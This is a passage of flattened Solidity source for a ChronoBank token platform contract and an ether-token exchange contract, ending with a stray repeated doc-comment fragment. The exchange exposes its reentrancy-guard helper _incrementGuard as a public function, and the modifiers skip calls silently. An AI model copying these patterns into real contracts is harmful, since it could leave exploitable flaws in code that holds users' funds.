SafeMath for uint; uint constant CHRONOBANK_PLATFORM_SCOPE = 15000; uint constant CHRONOBANK_PLATFORM_PROXY_ALREADY_EXISTS = CHRONOBANK_PLATFORM_SCOPE + 0; uint constant CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF = CHRONOBANK_PLATFORM_SCOPE + 1; uint constant CHRONOBANK_PLATFORM_INVALID_VALUE = CHRONOBANK_PLATFORM_SCOPE + 2; uint constant CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE = CHRONOBANK_PLATFORM_SCOPE + 3; uint constant CHRONOBANK_PLATFORM_NOT_ENOUGH_ALLOWANCE = CHRONOBANK_PLATFORM_SCOPE + 4; uint constant CHRONOBANK_PLATFORM_ASSET_ALREADY_ISSUED = CHRONOBANK_PLATFORM_SCOPE + 5; uint constant CHRONOBANK_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE = CHRONOBANK_PLATFORM_SCOPE + 6; uint constant CHRONOBANK_PLATFORM_CANNOT_REISSUE_FIXED_ASSET = CHRONOBANK_PLATFORM_SCOPE + 7; uint constant CHRONOBANK_PLATFORM_SUPPLY_OVERFLOW = CHRONOBANK_PLATFORM_SCOPE + 8; uint constant CHRONOBANK_PLATFORM_NOT_ENOUGH_TOKENS = CHRONOBANK_PLATFORM_SCOPE + 9; uint constant CHRONOBANK_PLATFORM_INVALID_NEW_OWNER = CHRONOBANK_PLATFORM_SCOPE + 10; uint constant CHRONOBANK_PLATFORM_ALREADY_TRUSTED = CHRONOBANK_PLATFORM_SCOPE + 11; uint constant CHRONOBANK_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS = CHRONOBANK_PLATFORM_SCOPE + 12; uint constant CHRONOBANK_PLATFORM_ASSET_IS_NOT_ISSUED = CHRONOBANK_PLATFORM_SCOPE + 13; uint constant CHRONOBANK_PLATFORM_INVALID_INVOCATION = CHRONOBANK_PLATFORM_SCOPE + 17; string public version = "0.2.0"; struct TransactionContext { address from; address to; address sender; uint fromHolderId; uint toHolderId; uint senderHolderId; uint balanceFrom; uint balanceTo; uint allowanceValue; } /// @dev Emits Error if called not by asset owner. modifier onlyOwner(bytes32 _symbol) { if (isOwner(msg.sender, _symbol)) { _; } } modifier onlyDesignatedManager(bytes32 _symbol) { if (isDesignatedAssetManager(msg.sender, _symbol)) { _; } } /// @dev UNAUTHORIZED if called not by one of partowners or contract's owner modifier onlyOneOfContractOwners() { if (contractOwner == msg.sender || partowners(msg.sender)) { _; } } /// @dev Emits Error if called not by asset proxy. modifier onlyProxy(bytes32 _symbol) { if (proxies(_symbol) == msg.sender) { _; } } /// @dev Emits Error if _from doesn't trust _to. modifier checkTrust(address _from, address _to) { if (isTrusted(_from, _to)) { _; } } /// @dev Emits Error if asset block number > current block number. modifier onlyAfterBlock(bytes32 _symbol) { if (block.number >= blockNumber(_symbol)) { _; } } constructor() StorageContractAdapter(this, CHRONOBANK_PLATFORM_CRATE) public { } function initStorage() public { init(partownersStorage, "partowners"); init(proxiesStorage, "proxies"); init(symbolsStorage, "symbols"); init(holdersCountStorage, "holdersCount"); init(holderIndexStorage, "holderIndex"); init(holdersAddressStorage, "holdersAddress"); init(holdersTrustStorage, "holdersTrust"); init(assetOwnerIdStorage, "assetOwner"); init(assetTotalSupply, "assetTotalSupply"); init(assetName, "assetName"); init(assetDescription, "assetDescription"); init(assetIsReissuable, "assetIsReissuable"); init(assetBlockNumber, "assetBlockNumber"); init(assetBaseUnit, "assetBaseUnit"); init(assetPartowners, "assetPartowners"); init(assetWalletBalance, "assetWalletBalance"); init(assetWalletAllowance, "assetWalletAllowance"); } /// @dev Asset symbol to asset details. /// @return { /// "_description": "will be null, since cannot store and return dynamic-sized types in storage (fixed in v0.4.24), /// } function assets(bytes32 _symbol) public view returns ( uint _owner, uint _totalSupply, string _name, string _description, bool _isReissuable, uint8 _baseUnit, uint _blockNumber ) { _owner = _assetOwner(_symbol); _totalSupply = totalSupply(_symbol); _name = name(_symbol); _description = description(_symbol); _isReissuable = isReissuable(_symbol); _baseUnit = baseUnit(_symbol); _blockNumber = blockNumber(_symbol); } function holdersCount() public view returns (uint) { return get(store, holdersCountStorage); } function holders(uint _holderId) public view returns (address) { return get(store, holdersAddressStorage, _holderId); } function symbols(uint _idx) public view returns (bytes32) { return get(store, symbolsStorage, _idx); } /// @notice Provides a cheap way to get number of symbols registered in a platform /// @return number of symbols function symbolsCount() public view returns (uint) { return count(store, symbolsStorage); } function proxies(bytes32 _symbol) public view returns (address) { return get(store, proxiesStorage, _symbol); } function partowners(address _address) public view returns (bool) { return get(store, partownersStorage, _address); } /// @notice Adds a co-owner of a contract. Might be more than one co-owner /// @dev Allowed to only contract onwer /// @param _partowner a co-owner of a contract /// @return result code of an operation function addPartOwner(address _partowner) public onlyContractOwner returns (uint) { set(store, partownersStorage, _partowner, true); return OK; } /// @notice Removes a co-owner of a contract /// @dev Should be performed only by root contract owner /// @param _partowner a co-owner of a contract /// @return result code of an operation function removePartOwner(address _partowner) public onlyContractOwner returns (uint) { set(store, partownersStorage, _partowner, false); return OK; } /// @notice Sets EventsHistory contract address. /// @dev Can be set only by owner. /// @param _eventsHistory MultiEventsHistory contract address. /// @return success. function setupEventsHistory(address _eventsHistory) public onlyContractOwner returns (uint errorCode) { _setEventsHistory(_eventsHistory); return OK; } /// @notice Check asset existance. /// @param _symbol asset symbol. /// @return asset existance. function isCreated(bytes32 _symbol) public view returns (bool) { return _assetOwner(_symbol) != 0; } /// @notice Returns asset decimals. /// @param _symbol asset symbol. /// @return asset decimals. function baseUnit(bytes32 _symbol) public view returns (uint8) { return get(store, assetBaseUnit, _symbol); } /// @notice Returns asset name. /// @param _symbol asset symbol. /// @return asset name. function name(bytes32 _symbol) public view returns (string) { return get(store, assetName, _symbol); } /// @notice Returns asset description. /// @param _symbol asset symbol. /// @return asset description. function description(bytes32 _symbol) public view returns (string) { return get(store, assetDescription, _symbol); } /// @notice Returns asset reissuability. /// @param _symbol asset symbol. /// @return asset reissuability. function isReissuable(bytes32 _symbol) public view returns (bool) { return get(store, assetIsReissuable, _symbol); } /// @notice Returns block number from which asset can be used. /// @param _symbol asset symbol. /// @return block number. function blockNumber(bytes32 _symbol) public view returns (uint) { return get(store, assetBlockNumber, _symbol); } /// @notice Returns asset owner address. /// @param _symbol asset symbol. /// @return asset owner address. function owner(bytes32 _symbol) public view returns (address) { return _address(_assetOwner(_symbol)); } /// @notice Check if specified address has asset owner rights. /// @param _owner address to check. /// @param _symbol asset symbol. /// @return owner rights availability. function isOwner(address _owner, bytes32 _symbol) public view returns (bool) { return isCreated(_symbol) && (_assetOwner(_symbol) == getHolderId(_owner)); } /// @notice Checks if a specified address has asset owner or co-owner rights. /// @param _owner address to check. /// @param _symbol asset symbol. /// @return owner rights availability. function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool) { uint holderId = getHolderId(_owner); return isCreated(_symbol) && (_assetOwner(_symbol) == holderId || get(store, assetPartowners, _symbol, holderId)); } /// @notice Checks if a provided address `_manager` has designated access to asset `_symbol`. /// @param _manager address that will become the asset manager /// @param _symbol asset symbol /// @return true if address is one of designated asset managers, false otherwise function isDesignatedAssetManager(address _manager, bytes32 _symbol) public view returns (bool) { uint managerId = getHolderId(_manager); return isCreated(_symbol) && get(store, assetPartowners, _symbol, managerId); } /// @notice Returns asset total supply. /// @param _symbol asset symbol. /// @return asset total supply. function totalSupply(bytes32 _symbol) public view returns (uint) { return get(store, assetTotalSupply, _symbol); } /// @notice Returns asset balance for a particular holder. /// @param _holder holder address. /// @param _symbol asset symbol. /// @return holder balance. function balanceOf(address _holder, bytes32 _symbol) public view returns (uint) { return _balanceOf(getHolderId(_holder), _symbol); } /// @notice Returns asset balance for a particular holder id. /// @param _holderId holder id. /// @param _symbol asset symbol. /// @return holder balance. function _balanceOf(uint _holderId, bytes32 _symbol) public view returns (uint) { return get(store, assetWalletBalance, _symbol, _holderId); } /// @notice Returns current address for a particular holder id. /// @param _holderId holder id. /// @return holder address. function _address(uint _holderId) public view returns (address) { return get(store, holdersAddressStorage, _holderId); } /// @notice Adds a asset manager for an asset with provided symbol. /// @dev Should be performed by a platform owner or its co-owners /// @param _symbol asset's symbol /// @param _manager asset manager of the asset /// @return errorCode result code of an operation function addDesignatedAssetManager(bytes32 _symbol, address _manager) public onlyOneOfContractOwners returns (uint) { uint holderId = _createHolderId(_manager); set(store, assetPartowners, _symbol, holderId, true); _emitter().emitOwnershipChange(0x0, _manager, _symbol); return OK; } /// @notice Removes a asset manager for an asset with provided symbol. /// @dev Should be performed by a platform owner or its co-owners /// @param _symbol asset's symbol /// @param _manager asset manager of the asset /// @return errorCode result code of an operation function removeDesignatedAssetManager(bytes32 _symbol, address _manager) public onlyOneOfContractOwners returns (uint) { uint holderId = getHolderId(_manager); set(store, assetPartowners, _symbol, holderId, false); _emitter().emitOwnershipChange(_manager, 0x0, _symbol); return OK; } /// @notice Sets Proxy contract address for a particular asset. /// @dev Can be set only once for each asset and only by contract owner. /// @param _proxyAddress Proxy contract address. /// @param _symbol asset symbol. /// @return success. function setProxy(address _proxyAddress, bytes32 _symbol) public onlyOneOfContractOwners returns (uint) { if (proxies(_symbol) != 0x0) { return CHRONOBANK_PLATFORM_PROXY_ALREADY_EXISTS; } set(store, proxiesStorage, _symbol, _proxyAddress); return OK; } /// @notice Performes asset transfer for multiple destinations /// @param addresses list of addresses to receive some amount /// @param values list of asset amounts for according addresses /// @param _symbol asset symbol /// @return { /// "errorCode": "resultCode of an operation", /// "count": "an amount of succeeded transfers" /// } function massTransfer(address[] addresses, uint[] values, bytes32 _symbol) external onlyAfterBlock(_symbol) returns (uint errorCode, uint count) { require(addresses.length == values.length, "Different length of addresses and values for mass transfer"); require(_symbol != 0x0, "Asset's symbol cannot be 0"); return _massTransferDirect(addresses, values, _symbol); } function _massTransferDirect(address[] addresses, uint[] values, bytes32 _symbol) private returns (uint errorCode, uint count) { uint success = 0; TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = _createHolderId(txContext.from); for (uint idx = 0; idx < addresses.length && gasleft() > 110000; idx++) { uint value = values[idx]; if (value == 0) { _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); continue; } txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); if (txContext.balanceFrom < value) { _emitErrorCode(CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE); continue; } if (txContext.from == addresses[idx]) { _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); continue; } txContext.toHolderId = _createHolderId(addresses[idx]); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); _transferDirect(value, _symbol, txContext); _emitter().emitTransfer(txContext.from, addresses[idx], _symbol, value, ""); success++; } return (OK, success); } /// @dev Transfers asset balance between holders wallets. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _transferDirect( uint _value, bytes32 _symbol, TransactionContext memory _txContext ) internal { set(store, assetWalletBalance, _symbol, _txContext.fromHolderId, _txContext.balanceFrom.sub(_value)); set(store, assetWalletBalance, _symbol, _txContext.toHolderId, _txContext.balanceTo.add(_value)); } /// @dev Transfers asset balance between holders wallets. /// Performs sanity checks and takes care of allowances adjustment. /// /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// /// @return success. function _transfer( uint _value, bytes32 _symbol, string _reference, TransactionContext memory txContext ) internal returns (uint) { // Should not allow to send to oneself. if (txContext.fromHolderId == txContext.toHolderId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have enough balance. txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); if (txContext.balanceFrom < _value) { return _emitErrorCode(CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE); } // Should have enough allowance. txContext.allowanceValue = _allowance(txContext.fromHolderId, txContext.senderHolderId, _symbol); if (txContext.fromHolderId != txContext.senderHolderId && txContext.allowanceValue < _value ) { return _emitErrorCode(CHRONOBANK_PLATFORM_NOT_ENOUGH_ALLOWANCE); } _transferDirect(_value, _symbol, txContext); // Adjust allowance. _decrementWalletAllowance(_value, _symbol, txContext); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitTransfer(txContext.from, txContext.to, _symbol, _value, _reference); _proxyTransferEvent(_value, _symbol, txContext); return OK; } function _decrementWalletAllowance( uint _value, bytes32 _symbol, TransactionContext memory txContext ) private { if (txContext.fromHolderId != txContext.senderHolderId) { set(store, assetWalletAllowance, _symbol, txContext.fromHolderId, txContext.senderHolderId, txContext.allowanceValue.sub(_value)); } } /// @dev Transfers asset balance between holders wallets. /// Can only be called by asset proxy. /// /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender transfer initiator address. /// /// @return success. function proxyTransferWithReference( address _to, uint _value, bytes32 _symbol, string _reference, address _sender ) public onlyProxy(_symbol) onlyAfterBlock(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _sender; txContext.to = _to; txContext.from = _sender; txContext.senderHolderId = getHolderId(_sender); txContext.toHolderId = _createHolderId(_to); txContext.fromHolderId = txContext.senderHolderId; return _transfer(_value, _symbol, _reference, txContext); } /// @dev Ask asset Proxy contract to emit ERC20 compliant Transfer event. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _proxyTransferEvent(uint _value, bytes32 _symbol, TransactionContext memory txContext) internal { address _proxy = proxies(_symbol); if (_proxy != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(_proxy).emitTransfer(txContext.from, txContext.to, _value); } } /// @notice Returns holder id for the specified address. /// @param _holder holder address. /// @return holder id. function getHolderId(address _holder) public view returns (uint) { return get(store, holderIndexStorage, _holder); } /// @dev Returns holder id for the specified address, creates it if needed. /// @param _holder holder address. /// @return holder id. function _createHolderId(address _holder) internal returns (uint) { uint _holderId = getHolderId(_holder); if (_holderId == 0) { _holderId = holdersCount() + 1; set(store, holderIndexStorage, _holder, _holderId); set(store, holdersAddressStorage, _holderId, _holder); set(store, holdersCountStorage, _holderId); } return _holderId; } function _assetOwner(bytes32 _symbol) internal view returns (uint) { return get(store, assetOwnerIdStorage, _symbol); } function stringToBytes32(string memory source) internal pure returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// @param _blockNumber block number from which asset can be used. /// /// @return success. function issueAsset( bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber ) public returns (uint) { return issueAssetWithInitialReceiver(_symbol, _value, _name, _description, _baseUnit, _isReissuable, _blockNumber, msg.sender); } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// @param _blockNumber block number from which asset can be used. /// @param _account address where issued balance will be held /// /// @return success. function issueAssetWithInitialReceiver( bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber, address _account ) public onlyOneOfContractOwners returns (uint) { // Should have positive value if supply is going to be fixed. if (_value == 0 && !_isReissuable) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE); } // Should not be issued yet. if (isCreated(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ASSET_ALREADY_ISSUED); } uint holderId = _createHolderId(_account); uint creatorId = _account == msg.sender ? holderId : _createHolderId(msg.sender); add(store, symbolsStorage, _symbol); set(store, assetOwnerIdStorage, _symbol, creatorId); set(store, assetTotalSupply, _symbol, _value); set(store, assetName, _symbol, _name); set(store, assetDescription, _symbol, _description); set(store, assetIsReissuable, _symbol, _isReissuable); set(store, assetBaseUnit, _symbol, _baseUnit); set(store, assetWalletBalance, _symbol, holderId, _value); set(store, assetBlockNumber, _symbol, _blockNumber); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitIssue(_symbol, _value, _address(holderId)); return OK; } /// @notice Issues additional asset tokens if the asset have dynamic supply. /// /// Tokens issued with this call go straight to asset owner. /// Can only be called by designated asset manager only. /// Inherits all modifiers from reissueAssetToRecepient' function. /// /// @param _symbol asset symbol. /// @param _value amount of additional tokens to issue. /// /// @return success. function reissueAsset(bytes32 _symbol, uint _value) public returns (uint) { return reissueAssetToRecepient(_symbol, _value, msg.sender); } /// @notice Issues additional asset tokens `_symbol` if the asset have dynamic supply /// and sends them to recepient address `_to`. /// /// Can only be called by designated asset manager only. /// /// @param _symbol asset symbol. /// @param _value amount of additional tokens to issue. /// @param _to recepient address; instead of caller issued amount will be sent to this address /// /// @return success. function reissueAssetToRecepient(bytes32 _symbol, uint _value, address _to) public onlyDesignatedManager(_symbol) onlyAfterBlock(_symbol) returns (uint) { return _reissueAsset(_symbol, _value, _to); } function _reissueAsset(bytes32 _symbol, uint _value, address _to) private returns (uint) { require(_to != 0x0, "CHRONOBANK_PLATFORM_INVALID_RECEPIENT_ADDRESS"); TransactionContext memory txContext; txContext.to = _to; // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have dynamic supply. if (!isReissuable(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_REISSUE_FIXED_ASSET); } uint _totalSupply = totalSupply(_symbol); // Resulting total supply should not overflow. if (_totalSupply + _value < _totalSupply) { return _emitErrorCode(CHRONOBANK_PLATFORM_SUPPLY_OVERFLOW); } txContext.toHolderId = _createHolderId(_to); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); set(store, assetWalletBalance, _symbol, txContext.toHolderId, txContext.balanceTo.add(_value)); set(store, assetTotalSupply, _symbol, _totalSupply.add(_value)); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitIssue(_symbol, _value, _to); _proxyTransferEvent(_value, _symbol, txContext); return OK; } /// @notice Destroys specified amount of senders asset tokens. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to destroy. /// /// @return success. function revokeAsset(bytes32 _symbol, uint _value) public returns (uint _resultCode) { TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = getHolderId(txContext.from); _resultCode = _revokeAsset(_symbol, _value, txContext); if (_resultCode != OK) { return _emitErrorCode(_resultCode); } // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitRevoke(_symbol, _value, txContext.from); _proxyTransferEvent(_value, _symbol, txContext); return OK; } /// @notice Destroys specified amount of senders asset tokens. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to destroy. /// /// @return success. function revokeAssetWithExternalReference(bytes32 _symbol, uint _value, string _externalReference) public returns (uint _resultCode) { TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = getHolderId(txContext.from); _resultCode = _revokeAsset(_symbol, _value, txContext); if (_resultCode != OK) { return _emitErrorCode(_resultCode); } // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitRevokeExternal(_symbol, _value, txContext.from, _externalReference); _proxyTransferEvent(_value, _symbol, txContext); return OK; } function _revokeAsset(bytes32 _symbol, uint _value, TransactionContext memory txContext) private returns (uint) { // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have enough tokens. txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); if (txContext.balanceFrom < _value) { return _emitErrorCode(CHRONOBANK_PLATFORM_NOT_ENOUGH_TOKENS); } txContext.balanceFrom = txContext.balanceFrom.sub(_value); set(store, assetWalletBalance, _symbol, txContext.fromHolderId, txContext.balanceFrom); set(store, assetTotalSupply, _symbol, totalSupply(_symbol).sub(_value)); return OK; } /// @notice Passes asset ownership to specified address. /// /// Only ownership is changed, balances are not touched. /// Can only be called by asset owner. /// /// @param _symbol asset symbol. /// @param _newOwner address to become a new owner. /// /// @return success. function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) { if (_newOwner == 0x0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_NEW_OWNER); } uint newOwnerId = _createHolderId(_newOwner); uint assetOwner = _assetOwner(_symbol); // Should pass ownership to another holder. if (assetOwner == newOwnerId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } address oldOwner = _address(assetOwner); set(store, assetOwnerIdStorage, _symbol, newOwnerId); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitOwnershipChange(oldOwner, _newOwner, _symbol); return OK; } /// @notice Check if specified holder trusts an address with recovery procedure. /// @param _from truster. /// @param _to trustee. /// @return trust existance. function isTrusted(address _from, address _to) public view returns (bool) { return get(store, holdersTrustStorage, getHolderId(_from), _to); } /// @notice Trust an address to perform recovery procedure for the caller. /// @param _to trustee. /// @return success. function trust(address _to) public returns (uint) { uint fromId = _createHolderId(msg.sender); // Should trust to another address. if (fromId == getHolderId(_to)) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should trust to yet untrusted. if (isTrusted(msg.sender, _to)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ALREADY_TRUSTED); } set(store, holdersTrustStorage, fromId, _to, true); return OK; } /// @notice Revoke trust to perform recovery procedure from an address. /// @param _to trustee. /// @return success. function distrust(address _to) public checkTrust(msg.sender, _to) returns (uint) { set(store, holdersTrustStorage, getHolderId(msg.sender), _to, false); return OK; } /// @notice Perform recovery procedure. /// /// This function logic is actually more of an addAccess(uint _holderId, address _to). /// It grants another address access to recovery subject wallets. /// Can only be called by trustee of recovery subject. /// /// @param _from holder address to recover from. /// @param _to address to grant access to. /// /// @return success. function recover(address _from, address _to) public checkTrust(_from, msg.sender) returns (uint errorCode) { // Should recover to previously unused address. if (getHolderId(_to) != 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS); } // We take current holder address because it might not equal _from. // It is possible to recover from any old holder address, but event should have the current one. uint _fromHolderId = getHolderId(_from); address _fromRef = _address(_fromHolderId); set(store, holdersAddressStorage, _fromHolderId, _to); set(store, holderIndexStorage, _to, _fromHolderId); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. _emitter().emitRecovery(_fromRef, _to, msg.sender); return OK; } /// @dev Sets asset spending allowance for a specified spender. /// /// Note: to revoke allowance, one needs to set allowance to 0. /// /// @param _value amount to allow. /// @param _symbol asset symbol. /// /// @return success. function _approve( uint _value, bytes32 _symbol, TransactionContext memory txContext ) internal returns (uint) { // Asset should exist. if (!isCreated(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ASSET_IS_NOT_ISSUED); } // Should allow to another holder. if (txContext.fromHolderId == txContext.senderHolderId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Double Spend Attack checkpoint txContext.allowanceValue = _allowance(txContext.fromHolderId, txContext.senderHolderId, _symbol); if (!(txContext.allowanceValue == 0 || _value == 0)) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_INVOCATION); } set(store, assetWalletAllowance, _symbol, txContext.fromHolderId, txContext.senderHolderId, _value); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. _emitter().emitApprove(txContext.from, txContext.sender, _symbol, _value); address _proxy = proxies(_symbol); if (_proxy != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(_proxy).emitApprove(txContext.from, txContext.sender, _value); } return OK; } /// @dev Sets asset spending allowance for a specified spender. /// /// Can only be called by asset proxy. /// /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @param _symbol asset symbol. /// @param _sender approve initiator address. /// /// @return success. function proxyApprove( address _spender, uint _value, bytes32 _symbol, address _sender ) public onlyProxy(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _spender; txContext.senderHolderId = _createHolderId(_spender); txContext.from = _sender; txContext.fromHolderId = _createHolderId(_sender); return _approve(_value, _symbol, txContext); } /// @notice Performs allowance transfer of asset balance between holders wallets. /// /// @dev Can only be called by asset proxy. /// /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender allowance transfer initiator address. /// /// @return success. function proxyTransferFromWithReference( address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender ) public onlyProxy(_symbol) onlyAfterBlock(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _sender; txContext.to = _to; txContext.from = _from; txContext.toHolderId = _createHolderId(_to); txContext.fromHolderId = getHolderId(_from); txContext.senderHolderId = _to == _sender ? txContext.toHolderId : getHolderId(_sender); return _transfer(_value, _symbol, _reference, txContext); } /// @dev Returns asset allowance from one holder to another. /// @param _from holder that allowed spending. /// @param _spender holder that is allowed to spend. /// @param _symbol asset symbol. /// @return holder to spender allowance. function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint) { return _allowance(getHolderId(_from), getHolderId(_spender), _symbol); } /// @dev Returns asset allowance from one holder to another. /// @param _fromId holder id that allowed spending. /// @param _toId holder id that is allowed to spend. /// @param _symbol asset symbol. /// @return holder to spender allowance. function _allowance(uint _fromId, uint _toId, bytes32 _symbol) internal view returns (uint) { return get(store, assetWalletAllowance, _symbol, _fromId, _toId); } function _emitter() private view returns (ChronoBankPlatformEmitter) { return ChronoBankPlatformEmitter(getEventsHistory()); } } // File: contracts/EtherTokenExchange.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ChronoBankAssetProxyInterface is ChronoBankAssetProxy {} contract EtherTokenExchange { uint constant OK = 1; event LogEtherDeposited(address indexed sender, uint amount); event LogEtherWithdrawn(address indexed sender, uint amount); ERC20Interface private token; uint private reentrancyFallbackGuard = 1; constructor(address _token) public { token = ERC20Interface(_token); } function getToken() public view returns (address) { return token; } function deposit() external payable { _deposit(msg.sender, msg.value); } function withdraw(uint _amount) external { require(token.allowance(msg.sender, address(this)) >= _amount, "ETHER_TOKEN_EXCHANGE_NO_APPROVE_PROVIDED"); uint _guardState = reentrancyFallbackGuard; require(token.transferFrom(msg.sender, address(this), _amount), "ETHER_TOKEN_EXCHANGE_TRANSFER_FROM_FAILED"); if (reentrancyFallbackGuard == _guardState) { _withdraw(msg.sender, _amount); } } function tokenFallback(address _from, uint _value, bytes) external { _incrementGuard(); if (msg.sender == address(token)) { _withdraw(_from, _value); return; } ChronoBankAssetProxyInterface _proxy = ChronoBankAssetProxyInterface(address(token)); address _versionFor = _proxy.getVersionFor(_from); if (!(msg.sender == _versionFor || ChronoBankAssetUtils.containsAssetInChain(ChronoBankAssetChainableInterface(_versionFor), msg.sender)) ) { revert("ETHER_TOKEN_EXCHANGE_INVALID_TOKEN"); } _withdraw(_from, _value); } function () external payable { revert("ETHER_TOKEN_EXCHANGE_USE_DEPOSIT_INSTEAD"); } /* PRIVATE */ function _deposit(address _to, uint _amount) private { require(_amount > 0, "ETHER_TOKEN_EXCHANGE_INVALID_AMOUNT"); ChronoBankAssetProxyInterface _token = ChronoBankAssetProxyInterface(token); ChronoBankPlatform _platform = ChronoBankPlatform(_token.chronoBankPlatform()); require(OK == _platform.reissueAsset(_token.smbl(), _amount), "ETHER_TOKEN_EXCHANGE_ISSUE_FAILURE"); require(_token.transfer(_to, _amount), "ETHER_TOKEN_EXCHANGE_TRANSFER_FAILURE"); emit LogEtherDeposited(_to, _amount); } function _withdraw(address _from, uint _amount) private { require(_amount > 0, "ETHER_TOKEN_EXCHANGE_INVALID_AMOUNT"); ChronoBankAssetProxyInterface _token = ChronoBankAssetProxyInterface(token); ChronoBankPlatform _platform = ChronoBankPlatform(_token.chronoBankPlatform()); require(OK == _platform.revokeAsset(_token.smbl(), _amount), "ETHER_TOKEN_EXCHANGE_REVOKE_FAILURE"); _from.transfer(_amount); emit LogEtherWithdrawn(_from, _amount); } function _incrementGuard() public { reentrancyFallbackGuard += 1; } }
Passes asset ownership to specified address. Only ownership is changed, balances are not touched. Can only be called by asset owner. _symbol asset symbol. _newOwner address to become a new owner. return success. Should pass ownership to another holder.
